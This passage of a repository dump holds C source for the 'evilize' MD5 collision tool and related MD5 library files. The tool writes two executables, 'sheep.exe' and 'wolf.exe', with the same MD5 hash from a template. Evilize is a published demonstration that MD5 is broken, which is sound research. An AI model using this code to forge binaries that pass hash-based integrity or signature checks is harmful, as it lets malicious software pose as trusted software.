\"\\n\");\n  fprintf(fout, \"Usage: %s [options] infile\\n\", NAME);\n  fprintf(fout,\n\"Options:\\n\"\n\"    -h, --help              print this help message and exit\\n\"\n\"    -V, --version           print version info and exit\\n\"\n\"    -L, --license           print license info and exit\\n\"\n\"    --                      end of options, filename follows\\n\");\n}\n\n/* print version and copyright information */\nstatic void version(FILE *fout) {\n  fprintf(fout, \"%s %s. Create a pair of files with the same MD5 hash, from a template.\\n\", NAME, VERSION);\n  fprintf(fout, \"Copyright (C) 2006 Peter Selinger.\\n\");\n  fprintf(fout, \"Collision generator: Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\\n\");\n  fprintf(fout, \"Implementation of paper by Xiaoyun Wang, et al.\\n\");\n}\n\nstatic void license(FILE *fout) {\n  fprintf(fout, \"%s %s. Create a pair of files with the same MD5 hash, from a template.\\n\", NAME, VERSION);\n  fprintf(fout, \"Copyright (C) 2006 Peter Selinger.\\n\");\n  fprintf(fout, \"Collision generator: Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\\n\");\n  fprintf(fout, \"Implementation of paper by Xiaoyun Wang, et al.\\n\");\n  fprintf(fout, \"\\n\");\n  fprintf(fout,\n  \"This program is free software; you can redistribute it and/or modify\\n\"\n  \"it under the terms of the GNU General Public License as published by\\n\"\n  \"the Free Software Foundation; either version 2 of the License, or\\n\"\n  \"(at your option) any later version.\\n\"\n  \"\\n\"\n  \"This program is distributed in the hope that it will be useful,\\n\"\n  \"but WITHOUT ANY WARRANTY; without even the implied warranty of\\n\"\n  \"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\\n\"\n  \"GNU General Public License for more details.\\n\"\n  \"\\n\"\n  \"You should have received a copy of the GNU General Public License\\n\"\n  \"along with this program; if not, write to the Free Software\\n\"\n  \"Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.\\n\"\n  \"\\n\"\n  \"Some parts of this code are distributed under a Modified BSD License;\\n\"\n  \"see the source code and the file MBSD-LICENSE for details.\\n\"\n  );\n}\n\nstatic struct option longopts[] = {\n  {\"help\",         0, 0, 'h'},\n  {\"version\",      0, 0, 'V'},\n  {\"license\",      0, 0, 'L'},\n  {\"iv\",           0, 0, 'i'},\n  {0, 0, 0, 0}\n};\n\nstatic char *shortopts = \"hVLi\";\n\nuint32_t swap_uint32( uint32_t val )\n{\n    val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); \n    return (val << 16) | (val >> 16);\n}\n\nint main(int ac, char *av[]) {\n  int r;\n  unsigned int IV[4];\n  int c;\n  int count;\n  FILE *fin;\n  FILE *fa;\n  FILE *fb;\n  FILE *fsheep;\n  FILE *fwolf;\n  int pos;\n  int off;\n  int i=0;\n  unsigned char a[128];\n  unsigned char b[128];\n  unsigned char copybuf[192];\n  unsigned char ch;\n  unsigned char ch_wolf,ch_sheep;\n  char *cmd;\n\n  /* command line options */\n  char *infile = NULL;\n\n  while ((c = getopt_long(ac, av, shortopts, longopts, NULL)) != -1) {\n    switch (c) {\n    case 'h':\n      usage(stdout);\n      exit(0);\n      break;\n    case 'V':\n      version(stdout);\n      exit(0);\n      break;\n    case 'L':\n      license(stdout);\n      exit(0);\n      break;\n    case '?':\n      fprintf(stderr, \"Try --help for more information.\\n\");\n      exit(1);\n      break;\n    }\n  }\n  count = ac-optind;\n  if (count < 1) {\n    fprintf(stderr, \"No filename given. Try --help for more information.\\n\");\n    exit(1);\n  } else if (count > 1) {\n    fprintf(stderr, \"Too many filenames given. Try --help for more information.\\n\");\n    exit(1);\n  }\n  infile = av[optind];\n    \n  fin = fopen(infile, \"rb\");\n  if (!fin) {\n    fprintf(stderr, \"%s: %s: %s\\n\", NAME, infile, strerror(errno));\n    exit(1);\n  }\n    \n  r = find_iv(fin, IV);\n  rewind(fin);\n  pos=find_crib(fin);\n  off=r-pos-64;\n  printf(\"CRIB START: %d\\n\",pos);\n  \n  fclose(fin);\n\t\n  if (pos == -1 || r == 1) {\n    fprintf(stderr, \"%s: %s: no crib found.\\n\", NAME, infile);\n    exit(1);\n  }\n  \n  fprintf(stdout, \"%08x%08x%08x%08x\\n\", swap_uint32(IV[0]), swap_uint32(IV[1]), swap_uint32(IV[2]), swap_uint32(IV[3]));\n  cmd=(char*)malloc(strlen(FASTCOLL_CMD)+16+1);\n  sprintf(cmd,FASTCOLL_CMD,swap_uint32(IV[0]), swap_uint32(IV[1]), swap_uint32(IV[2]), swap_uint32(IV[3]));\n  printf(\"%s\\n\",cmd);\n\n  system(cmd);\n\n  fa=fopen(\"a\",\"rb\");\n  fb=fopen(\"b\",\"rb\");\n  fread(a,128,1,fa);\n  fread(b,128,1,fb);\n  fclose(fa);\n  fclose(fb);\n  fin = fopen(infile, \"rb\");\n  fsheep = fopen(\"sheep.exe\",\"wb\"); \n  fwolf = fopen(\"wolf.exe\",\"wb\");\n  printf(\"Copybuf start: %d end: %d \\n\",pos-16,pos+176);\n  while(!feof(fin)){\n\tch=fgetc(fin);\n\t//printf(\"Difference start: %d end: %d \\n\",pos+16,pos+128+16);\n\tif (ftell(fin)>pos+off && ftell(fin)<=pos+128+off){\n\t\tch_sheep=a[ftell(fin)-(pos+off)-1];\n\t\tch_wolf=b[ftell(fin)-(pos+off)-1];\n\t}\n\telse{\n\t\tch_wolf=ch;\n\t\tch_sheep=ch;\n\t}\n\t\n\tif (ftell(fin)>pos && ftell(fin)<=pos+192){\n\t\tcopybuf[i++]=ch_wolf;\n\t}\n\t//printf(\"Copybuf start: %d end: %d \\n\",pos+200,pos+200+192);\n\tif (ftell(fin)>pos+200 && i>0){\n\t\tch_wolf=copybuf[192-i];\n\t\tch_sheep=copybuf[192-i];\n\t\ti--;\n\t}\n\tfputc(ch_sheep,fsheep);\n\tfputc(ch_wolf,fwolf);\n  }\n  fclose(fwolf);\n  fclose(fsheep);\n  fclose(fin);\n  return 0;\n}\n\n"
  },
  {
    "path": "evilize/md5.c",
    "content": "/* md5.c - Functions to compute MD5 message digest of files or memory blocks\n   according to the definition of MD5 in RFC 1321 from April 1992.\n   Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and/or\n   modify it under the terms of the GNU Library General Public License as\n   published by the Free Software Foundation; either version 2 of the\n   License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If not,\n   write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n   Boston, MA 02111-1307, USA.  */\n\n/* Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.  */\n\n#ifdef HAVE_CONFIG_H\n# include <config.h>\n#endif\n\n#include <sys/types.h>\n\n#if STDC_HEADERS || defined _LIBC\n# include <stdlib.h>\n# include <string.h>\n#else\n# ifndef HAVE_MEMCPY\n#  define memcpy(d, s, n) bcopy ((s), (d), (n))\n# endif\n#endif\n\n#include \"md5.h\"\n\n#ifdef _LIBC\n# include <endian.h>\n# if __BYTE_ORDER == __BIG_ENDIAN\n#  define WORDS_BIGENDIAN 1\n# endif\n/* We need to keep the namespace clean so define the MD5 function\n   protected using leading __ and use weak aliases.  */\n# define md5_init_ctx __md5_init_ctx\n# define md5_process_block __md5_process_block\n# define md5_process_bytes __md5_process_bytes\n# define md5_finish_ctx __md5_finish_ctx\n# define md5_read_ctx __md5_read_ctx\n# define md5_stream __md5_stream\n# define md5_buffer __md5_buffer\n#endif\n\n#ifdef WORDS_BIGENDIAN\n# define SWAP(n)\t\t\t\t\t\t\t\\\n    (((n) << 24) | (((n) & 0xff00) << 8) | (((n) >> 8) & 0xff00) | ((n) >> 24))\n#else\n# define SWAP(n) (n)\n#endif\n\n\n/* This array contains the bytes used to pad the buffer to the next\n   64-byte boundary.  (RFC 1321, 3.1: Step 1)  */\nstatic const unsigned char fillbuf[64] = { 0x80, 0 /* , 0, 0, ...  */ };\n\n\n/* Initialize structure containing state of computation.\n   (RFC 1321, 3.3: Step 3)  */\nvoid\nmd5_init_ctx (ctx)\n     struct md5_ctx *ctx;\n{\n  ctx->A = 0x67452301;\n  ctx->B = 0xefcdab89;\n  ctx->C = 0x98badcfe;\n  ctx->D = 0x10325476;\n\n  ctx->total[0] = ctx->total[1] = 0;\n  ctx->buflen = 0;\n}\n\n/* Put result from CTX in first 16 bytes following RESBUF.  The result\n   must be in little endian byte order.\n\n   IMPORTANT: On some systems it is required that RESBUF is correctly\n   aligned for a 32 bits value.  */\nvoid *\nmd5_read_ctx (ctx, resbuf)\n     const struct md5_ctx *ctx;\n     void *resbuf;\n{\n  ((md5_uint32 *) resbuf)[0] = SWAP (ctx->A);\n  ((md5_uint32 *) resbuf)[1] = SWAP (ctx->B);\n  ((md5_uint32 *) resbuf)[2] = SWAP (ctx->C);\n  ((md5_uint32 *) resbuf)[3] = SWAP (ctx->D);\n\n  return resbuf;\n}\n\n/* Process the remaining bytes in the internal buffer and the usual\n   prolog according to the standard and write the result to RESBUF.\n\n   IMPORTANT: On some systems it is required that RESBUF is correctly\n   aligned for a 32 bits value.  */\nvoid *\nmd5_finish_ctx (ctx, resbuf)\n     struct md5_ctx *ctx;\n     void *resbuf;\n{\n  /* Take yet unprocessed bytes into account.  */\n  md5_uint32 bytes = ctx->buflen;\n  size_t pad;\n\n  /* Now count remaining bytes.  */\n  ctx->total[0] += bytes;\n  if (ctx->total[0] < bytes)\n    ++ctx->total[1];\n\n  pad = bytes >= 56 ? 64 + 56 - bytes : 56 - bytes;\n  memcpy (&ctx->buffer[bytes], fillbuf, pad);\n\n  /* Put the 64-bit file length in *bits* at the end of the buffer.  */\n  *(md5_uint32 *) &ctx->buffer[bytes + pad] = SWAP (ctx->total[0] << 3);\n  *(md5_uint32 *) &ctx->buffer[bytes + pad + 4] = SWAP ((ctx->total[1] << 3) |\n\t\t\t\t\t\t\t(ctx->total[0] >> 29));\n\n  /* Process last bytes.  */\n  md5_process_block (ctx->buffer, bytes + pad + 8, ctx);\n\n  return md5_read_ctx (ctx, resbuf);\n}\n\n/* Compute MD5 message digest for bytes read from STREAM.  The\n   resulting message digest number will be written into the 16 bytes\n   beginning at RESBLOCK.  */\nint\nmd5_stream (stream, resblock)\n     FILE *stream;\n     void *resblock;\n{\n  /* Important: BLOCKSIZE must be a multiple of 64.  */\n#define BLOCKSIZE 4096\n  struct md5_ctx ctx;\n  char buffer[BLOCKSIZE + 72];\n  size_t sum;\n\n  /* Initialize the computation context.  */\n  md5_init_ctx (&ctx);\n\n  /* Iterate over full file contents.  */\n  while (1)\n    {\n      /* We read the file in blocks of BLOCKSIZE bytes.  One call of the\n\t computation function processes the whole buffer so that with the\n\t next round of the loop another block can be read.  */\n      size_t n;\n      sum = 0;\n\n      /* Read block.  Take care for partial reads.  */\n      do\n\t{\n\t  n = fread (buffer + sum, 1, BLOCKSIZE - sum, stream);\n\n\t  sum += n;\n\t}\n      while (sum < BLOCKSIZE && n != 0);\n      if (n == 0 && ferror (stream))\n        return 1;\n\n      /* If end of file is reached, end the loop.  */\n      if (n == 0)\n\tbreak;\n\n      /* Process buffer with BLOCKSIZE bytes.  Note that\n\t\t\tBLOCKSIZE % 64 == 0\n       */\n      md5_process_block (buffer, BLOCKSIZE, &ctx);\n    }\n\n  /* Add the last bytes if necessary.  */\n  if (sum > 0)\n    md5_process_bytes (buffer, sum, &ctx);\n\n  /* Construct result in desired memory.  */\n  md5_finish_ctx (&ctx, resblock);\n  return 0;\n}\n\n/* Compute MD5 message digest for LEN bytes beginning at BUFFER.  The\n   result is always in little endian byte order, so that a byte-wise\n   output yields to the wanted ASCII representation of the message\n   digest.  */\nvoid *\nmd5_buffer (buffer, len, resblock)\n     const char *buffer;\n     size_t len;\n     void *resblock;\n{\n  struct md5_ctx ctx;\n\n  /* Initialize the computation context.  */\n  md5_init_ctx (&ctx);\n\n  /* Process whole buffer but last len % 64 bytes.  */\n  md5_process_bytes (buffer, len, &ctx);\n\n  /* Put result in desired memory area.  */\n  return md5_finish_ctx (&ctx, resblock);\n}\n\n\nvoid\nmd5_process_bytes (buffer, len, ctx)\n     const void *buffer;\n     size_t len;\n     struct md5_ctx *ctx;\n{\n  /* When we already have some bits in our internal buffer concatenate\n     both inputs first.  */\n  if (ctx->buflen != 0)\n    {\n      size_t left_over = ctx->buflen;\n      size_t add = 128 - left_over > len ? len : 128 - left_over;\n\n      memcpy (&ctx->buffer[left_over], buffer, add);\n      ctx->buflen += add;\n\n      if (left_over + add > 64)\n\t{\n\t  md5_process_block (ctx->buffer, (left_over + add) & ~63, ctx);\n\t  /* The regions in the following copy operation cannot overlap.  */\n\t  memcpy (ctx->buffer, &ctx->buffer[(left_over + add) & ~63],\n\t\t  (left_over + add) & 63);\n\t  ctx->buflen = (left_over + add) & 63;\n\t}\n\n      buffer = (const char *) buffer + add;\n      len -= add;\n    }\n\n  /* Process available complete blocks.  */\n  if (len > 64)\n    {\n      md5_process_block (buffer, len & ~63, ctx);\n      buffer = (const char *) buffer + (len & ~63);\n      len &= 63;\n    }\n\n  /* Move remaining bytes in internal buffer.  */\n  if (len > 0)\n    {\n      memcpy (ctx->buffer, buffer, len);\n      ctx->buflen = len;\n    }\n}\n\n\n/* These are the four functions used in the four steps of the MD5 algorithm\n   and defined in the RFC 1321.  The first function is a little bit optimized\n   (as found in Colin Plumbs public domain implementation).  */\n/* #define FF(b, c, d) ((b & c) | (~b & d)) */\n#define FF(b, c, d) (d ^ (b & (c ^ d)))\n#define FG(b, c, d) FF (d, b, c)\n#define FH(b, c, d) (b ^ c ^ d)\n#define FI(b, c, d) (c ^ (b | ~d))\n\n/* Process LEN bytes of BUFFER, accumulating context into CTX.\n   It is assumed that LEN % 64 == 0.  */\n\nvoid\nmd5_process_block (buffer, len, ctx)\n     const void *buffer;\n     size_t len;\n     struct md5_ctx *ctx;\n{\n  md5_uint32 correct_words[16];\n  const md5_uint32 *words = buffer;\n  size_t nwords = len / sizeof (md5_uint32);\n  const md5_uint32 *endp = words + nwords;\n  md5_uint32 A = ctx->A;\n  md5_uint32 B = ctx->B;\n  md5_uint32 C = ctx->C;\n  md5_uint32 D = ctx->D;\n\n  /* First increment the byte count.  RFC 1321 specifies the possible\n     length of the file up to 2^64 bits.  Here we only compute the\n     number of bytes.  Do a double word increment.  */\n  ctx->total[0] += len;\n  if (ctx->total[0] < len)\n    ++ctx->total[1];\n\n  /* Process all bytes in the buffer with 64 bytes in each round of\n     the loop.  */\n  while (words < endp)\n    {\n      md5_uint32 *cwp = correct_words;\n      md5_uint32 A_save = A;\n      md5_uint32 B_save = B;\n      md5_uint32 C_save = C;\n      md5_uint32 D_save = D;\n\n      /* First round: using the given function, the context and a constant\n\t the next context is computed.  Because the algorithms processing\n\t unit is a 32-bit word and it is determined to work on words in\n\t little endian byte order we perhaps have to change the byte order\n\t before the computation.  To reduce the work for the next steps\n\t we store the swapped words in the array CORRECT_WORDS.  */\n\n#define OP(a, b, c, d, s, T)\t\t\t\t\t\t\\\n      do\t\t\t\t\t\t\t\t\\\n        {\t\t\t\t\t\t\t\t\\\n\t  a += FF (b, c, d) + (*cwp++ = SWAP (*words)) + T;\t\t\\\n\t  ++words;\t\t\t\t\t\t\t\\\n\t  CYCLIC (a, s);\t\t\t\t\t\t\\\n\t  a += b;\t\t\t\t\t\t\t\\\n        }\t\t\t\t\t\t\t\t\\\n      while (0)\n\n      /* It is unfortunate that C does not provide an operator for\n\t cyclic rotation.  Hope the C compiler is smart enough.  */\n#define CYCLIC(w, s) (w = (w << s) | (w >> (32 - s)))\n\n      /* Before we start, one word to the strange constants.\n\t They are defined in RFC 1321 as\n\n\t T[i] = (int) (4294967296.0 * fabs (sin (i))), i=1..64\n       */\n\n      /* Round 1.  */\n      OP (A, B, C, D,  7, 0xd76aa478);\n      OP (D, A, B, C, 12, 0xe8c7b756);\n      OP (C, D, A, B, 17, 0x242070db);\n      OP (B, C, D, A, 22, 0xc1bdceee);\n      OP (A, B, C, D,  7, 0xf57c0faf);\n      OP (D, A, B, C, 12, 0x4787c62a);\n      OP (C, D, A, B, 17, 0xa8304613);\n      OP (B, C, D, A, 22, 0xfd469501);\n      OP (A, B, C, D,  7, 0x698098d8);\n      OP (D, A, B, C, 12, 0x8b44f7af);\n      OP (C, D, A, B, 17, 0xffff5bb1);\n      OP (B, C, D, A, 22, 0x895cd7be);\n      OP (A, B, C, D,  7, 0x6b901122);\n      OP (D, A, B, C, 12, 0xfd987193);\n      OP (C, D, A, B, 17, 0xa679438e);\n      OP (B, C, D, A, 22, 0x49b40821);\n\n      /* For the second to fourth round we have the possibly swapped words\n\t in CORRECT_WORDS.  Redefine the macro to take an additional first\n\t argument specifying the function to use.  */\n#undef OP\n#define OP(f, a, b, c, d, k, s, T)\t\t\t\t\t\\\n      do \t\t\t\t\t\t\t\t\\\n\t{\t\t\t\t\t\t\t\t\\\n\t  a += f (b, c, d) + correct_words[k] + T;\t\t\t\\\n\t  CYCLIC (a, s);\t\t\t\t\t\t\\\n\t  a += b;\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\\\n      while (0)\n\n      /* Round 2.  */\n      OP (FG, A, B, C, D,  1,  5, 0xf61e2562);\n      OP (FG, D, A, B, C,  6,  9, 0xc040b340);\n      OP (FG, C, D, A, B, 11, 14, 0x265e5a51);\n      OP (FG, B, C, D, A,  0, 20, 0xe9b6c7aa);\n      OP (FG, A, B, C, D,  5,  5, 0xd62f105d);\n      OP (FG, D, A, B, C, 10,  9, 0x02441453);\n      OP (FG, C, D, A, B, 15, 14, 0xd8a1e681);\n      OP (FG, B, C, D, A,  4, 20, 0xe7d3fbc8);\n      OP (FG, A, B, C, D,  9,  5, 0x21e1cde6);\n      OP (FG, D, A, B, C, 14,  9, 0xc33707d6);\n      OP (FG, C, D, A, B,  3, 14, 0xf4d50d87);\n      OP (FG, B, C, D, A,  8, 20, 0x455a14ed);\n      OP (FG, A, B, C, D, 13,  5, 0xa9e3e905);\n      OP (FG, D, A, B, C,  2,  9, 0xfcefa3f8);\n      OP (FG, C, D, A, B,  7, 14, 0x676f02d9);\n      OP (FG, B, C, D, A, 12, 20, 0x8d2a4c8a);\n\n      /* Round 3.  */\n      OP (FH, A, B, C, D,  5,  4, 0xfffa3942);\n      OP (FH, D, A, B, C,  8, 11, 0x8771f681);\n      OP (FH, C, D, A, B, 11, 16, 0x6d9d6122);\n      OP (FH, B, C, D, A, 14, 23, 0xfde5380c);\n      OP (FH, A, B, C, D,  1,  4, 0xa4beea44);\n      OP (FH, D, A, B, C,  4, 11, 0x4bdecfa9);\n      OP (FH, C, D, A, B,  7, 16, 0xf6bb4b60);\n      OP (FH, B, C, D, A, 10, 23, 0xbebfbc70);\n      OP (FH, A, B, C, D, 13,  4, 0x289b7ec6);\n      OP (FH, D, A, B, C,  0, 11, 0xeaa127fa);\n      OP (FH, C, D, A, B,  3, 16, 0xd4ef3085);\n      OP (FH, B, C, D, A,  6, 23, 0x04881d05);\n      OP (FH, A, B, C, D,  9,  4, 0xd9d4d039);\n      OP (FH, D, A, B, C, 12, 11, 0xe6db99e5);\n      OP (FH, C, D, A, B, 15, 16, 0x1fa27cf8);\n      OP (FH, B, C, D, A,  2, 23, 0xc4ac5665);\n\n      /* Round 4.  */\n      OP (FI, A, B, C, D,  0,  6, 0xf4292244);\n      OP (FI, D, A, B, C,  7, 10, 0x432aff97);\n      OP (FI, C, D, A, B, 14, 15, 0xab9423a7);\n      OP (FI, B, C, D, A,  5, 21, 0xfc93a039);\n      OP (FI, A, B, C, D, 12,  6, 0x655b59c3);\n      OP (FI, D, A, B, C,  3, 10, 0x8f0ccc92);\n      OP (FI, C, D, A, B, 10, 15, 0xffeff47d);\n      OP (FI, B, C, D, A,  1, 21, 0x85845dd1);\n      OP (FI, A, B, C, D,  8,  6, 0x6fa87e4f);\n      OP (FI, D, A, B, C, 15, 10, 0xfe2ce6e0);\n      OP (FI, C, D, A, B,  6, 15, 0xa3014314);\n      OP (FI, B, C, D, A, 13, 21, 0x4e0811a1);\n      OP (FI, A, B, C, D,  4,  6, 0xf7537e82);\n      OP (FI, D, A, B, C, 11, 10, 0xbd3af235);\n      OP (FI, C, D, A, B,  2, 15, 0x2ad7d2bb);\n      OP (FI, B, C, D, A,  9, 21, 0xeb86d391);\n\n      /* Add the starting values of the context.  */\n      A += A_save;\n      B += B_save;\n      C += C_save;\n      D += D_save;\n    }\n\n  /* Put checksum in context given as argument.  */\n  ctx->A = A;\n  ctx->B = B;\n  ctx->C = C;\n  ctx->D = D;\n}\n\n\n#ifdef _LIBC\n/* Define weak aliases.  */\n# undef md5_init_ctx\nweak_alias (__md5_init_ctx, md5_init_ctx)\n# undef md5_process_block\nweak_alias (__md5_process_block, md5_process_block)\n# undef md5_process_bytes\nweak_alias (__md5_process_bytes, md5_process_bytes)\n# undef md5_finish_ctx\nweak_alias (__md5_finish_ctx, md5_finish_ctx)\n# undef md5_read_ctx\nweak_alias (__md5_read_ctx, md5_read_ctx)\n# undef md5_stream\nweak_alias (__md5_stream, md5_stream)\n# undef md5_buffer\nweak_alias (__md5_buffer, md5_buffer)\n#endif\n"
  },
  {
    "path": "evilize/md5.h",
    "content": "/* Declaration of functions and data types used for MD5 sum computing\n   library functions.\n   Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and/or\n   modify it under the terms of the GNU Library General Public License as\n   published by the Free Software Foundation; either version 2 of the\n   License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If not,\n   write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n   Boston, MA 02111-1307, USA.  */\n\n#ifndef _MD5_H\n#define _MD5_H 1\n\n#include <stdio.h>\n\n#if defined HAVE_LIMITS_H || _LIBC\n# include <limits.h>\n#endif\n\n/* The following contortions are an attempt to use the C preprocessor\n   to determine an unsigned integral type that is 32 bits wide.  An\n   alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but\n   doing that would require that the configure script compile and *run*\n   the resulting executable.  Locally running cross-compiled executables\n   is usually not possible.  */\n\n#ifdef _LIBC\n# include <sys/types.h>\ntypedef u_int32_t md5_uint32;\n#else\n# if defined __STDC__ && __STDC__\n#  define UINT_MAX_32_BITS 4294967295U\n# else\n#  define UINT_MAX_32_BITS 0xFFFFFFFF\n# endif\n\n/* If UINT_MAX isn't defined, assume it's a 32-bit type.\n   This should be valid for all systems GNU cares about because\n   that doesn't include 16-bit systems, and only modern systems\n   (that certainly have <limits.h>) have 64+-bit integral types.  */\n\n# ifndef UINT_MAX\n#  define UINT_MAX UINT_MAX_32_BITS\n# endif\n\n# if UINT_MAX == UINT_MAX_32_BITS\n   typedef unsigned int md5_uint32;\n# else\n#  if USHRT_MAX == UINT_MAX_32_BITS\n    typedef unsigned short md5_uint32;\n#  else\n#   if ULONG_MAX == UINT_MAX_32_BITS\n     typedef unsigned long md5_uint32;\n#   else\n     /* The following line is intended to evoke an error.\n        Using #error is not portable enough.  */\n     \"Cannot determine unsigned 32-bit data type.\"\n#   endif\n#  endif\n# endif\n#endif\n\n#undef __P\n#if defined (__STDC__) && __STDC__\n# define __P(x) x\n#else\n# define __P(x) ()\n#endif\n\n/* Structure to save state of computation between the single steps.  */\nstruct md5_ctx\n{\n  md5_uint32 A;\n  md5_uint32 B;\n  md5_uint32 C;\n  md5_uint32 D;\n\n  md5_uint32 total[2];\n  md5_uint32 buflen;\n  char buffer[128];\n};\n\n/*\n * The following three functions are build up the low level used in\n * the functions `md5_stream' and `md5_buffer'.\n */\n\n/* Initialize structure containing state of computation.\n   (RFC 1321, 3.3: Step 3)  */\nextern void __md5_init_ctx __P ((struct md5_ctx *ctx));\nextern void md5_init_ctx __P ((struct md5_ctx *ctx));\n\n/* Starting with the result of former calls of this function (or the\n   initialization function update the context for the next LEN bytes\n   starting at BUFFER.\n   It is necessary that LEN is a multiple of 64!!! */\nextern void __md5_process_block __P ((const void *buffer, size_t len,\n\t\t\t\t      struct md5_ctx *ctx));\nextern void md5_process_block __P ((const void *buffer, size_t len,\n\t\t\t\t    struct md5_ctx *ctx));\n\n/* Starting with the result of former calls of this function (or the\n   initialization function update the context for the next LEN bytes\n   starting at BUFFER.\n   It is NOT required that LEN is a multiple of 64.  */\nextern void __md5_process_bytes __P ((const void *buffer, size_t len,\n\t\t\t\t      struct md5_ctx *ctx));\nextern void md5_process_bytes __P ((const void *buffer, size_t len,\n\t\t\t\t    struct md5_ctx *ctx));\n\n/* Process the remaining bytes in the buffer and put result from CTX\n   in first 16 bytes following RESBUF.  The result is always in little\n   endian byte order, so that a byte-wise output yields to the wanted\n   ASCII representation of the message digest.\n\n   IMPORTANT: On some systems it is required that RESBUF is correctly\n   aligned for a 32 bits value.  */\nextern void *__md5_finish_ctx __P ((struct md5_ctx *ctx, void *resbuf));\nextern void *md5_finish_ctx __P ((struct md5_ctx *ctx, void *resbuf));\n\n\n/* Put result from CTX in first 16 bytes following RESBUF.  The result is\n   always in little endian byte order, so that a byte-wise output yields\n   to the wanted ASCII representation of the message digest.\n\n   IMPORTANT: On some systems it is required that RESBUF is correctly\n   aligned for a 32 bits value.  */\nextern void *__md5_read_ctx __P ((const struct md5_ctx *ctx, void *resbuf));\nextern void *md5_read_ctx __P ((const struct md5_ctx *ctx, void *resbuf));\n\n\n/* Compute MD5 message digest for bytes read from STREAM.  The\n   resulting message digest number will be written into the 16 bytes\n   beginning at RESBLOCK.  */\nextern int __md5_stream __P ((FILE *stream, void *resblock));\n\n/* Compute MD5 message digest for LEN bytes beginning at BUFFER.  The\n   result is always in little endian byte order, so that a byte-wise\n   output yields to the wanted ASCII representation of the message\n   digest.  */\nextern void *__md5_buffer __P ((const char *buffer, size_t len,\n\t\t\t\tvoid *resblock));\nextern void *md5_buffer __P ((const char *buffer, size_t len,\n\t\t\t      void *resblock));\n\n#endif /* md5.h */\n"
  },
  {
    "path": "evilize/md5coll.c",
    "content": "/* MD5 Collision Generator\n * Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\n * Implementation of paper by Xiaoyun Wang, et al.\n * A few optimizations to make the solving method a bit more deterministic.\n * Modifications Copyright (C) 2006 Peter Selinger.\n * \n * This work is licensed under a modified BSD License, see the file\n * MBSD-LICENSE for full details.\n * Any derivative works or references must cite the authors.\n */\n\n/*\n * Changes:\n * 2006/02/07: Peter Selinger - separated user interface from library\n * 2006/02/07: Peter Selinger - progress reports\n * 2006/02/07: Peter Selinger - added options -h, -V, -q, -s\n *\n * Usage: see ./md5coll --help\n *\n * Notes: Requires being built as 32 bit (unsigned int as 32 bit)\n */\n\n/* This file contains the user interface (mainly parsing of\n   command-line). The real work is done in md5coll_lib. */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <time.h>\n#include <getopt.h>\n\n#include \"md5coll_lib.h\"\n\n#define NAME \"md5coll\"\n\n/* print usage information */\nstatic void usage(FILE *fout) {\n  fprintf(fout, \"%s %s. MD5 collision generator.\\n\", NAME, MD5COLL_VERSION);\n  fprintf(fout, \"\\n\");\n  fprintf(fout, \"Usage: %s [options] [IV0 IV1 IV2 IV3]\\n\", NAME);\n  fprintf(fout,\n\"Arguments (optional):\\n\"\n\"    IV0 IV1 IV2 IV3         four initial vectors in format 0x00000000\\n\"\n\"Options:\\n\"\n\"    -h, --help              print this help message and exit\\n\"\n\"    -L, --license           print license info and exit\\n\"\n\"    -V, --version           print version info and exit\\n\"\n\"    -q, --quiet             suppress progress information\\n\"\n\"    -s, --seed <n>          seed the random number generator\\n\"\n\t  );\n}\n\n/* print version information */\nstatic void version(FILE *fout) {\n  fprintf(fout, \"%s %s. MD5 collision generator.\\n\", NAME, MD5COLL_VERSION);\n  fprintf(fout, \"Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\\n\");\n  fprintf(fout, \"Implementation of paper by Xiaoyun Wang, et al.\\n\");\n  fprintf(fout, \"Modifications Copyright (C) 2006 Peter Selinger.\\n\");\n}\n\n/* print license information */\nstatic void license(FILE *fout) {\n  fprintf(fout, \"%s %s. MD5 collision generator.\\n\", NAME, MD5COLL_VERSION);\n  fprintf(fout, \"Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\\n\");\n  fprintf(fout, \"Implementation of paper by Xiaoyun Wang, et al.\\n\");\n  fprintf(fout, \"Modifications Copyright (C) 2006 Peter Selinger.\\n\");\n  fprintf(fout, \"\\n\");\n  fprintf(fout, \n  \"Redistribution and use in source and binary forms, with or without\\n\"\n  \"modification, are permitted provided that the following conditions are\\n\"\n  \"met:\\n\"\n  \"\\n\"\n  \"1. Redistributions of source code must retain the above copyright\\n\"\n  \"   notice, this list of conditions and the following disclaimer.\\n\"\n  \"2. Redistributions in binary form must reproduce the above copyright\\n\"\n  \"   notice, this list of conditions and the following disclaimer in the\\n\"\n  \"   documentation and/or other materials provided with the distribution.\\n\"\n  \"3. The name of the author may not be used to endorse or promote\\n\"\n  \"   products derived from this software without specific prior written\\n\"\n  \"   permission.\\n\"\n  \"\\n\"\n  \"THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\\n\"\n  \"IMPLIED 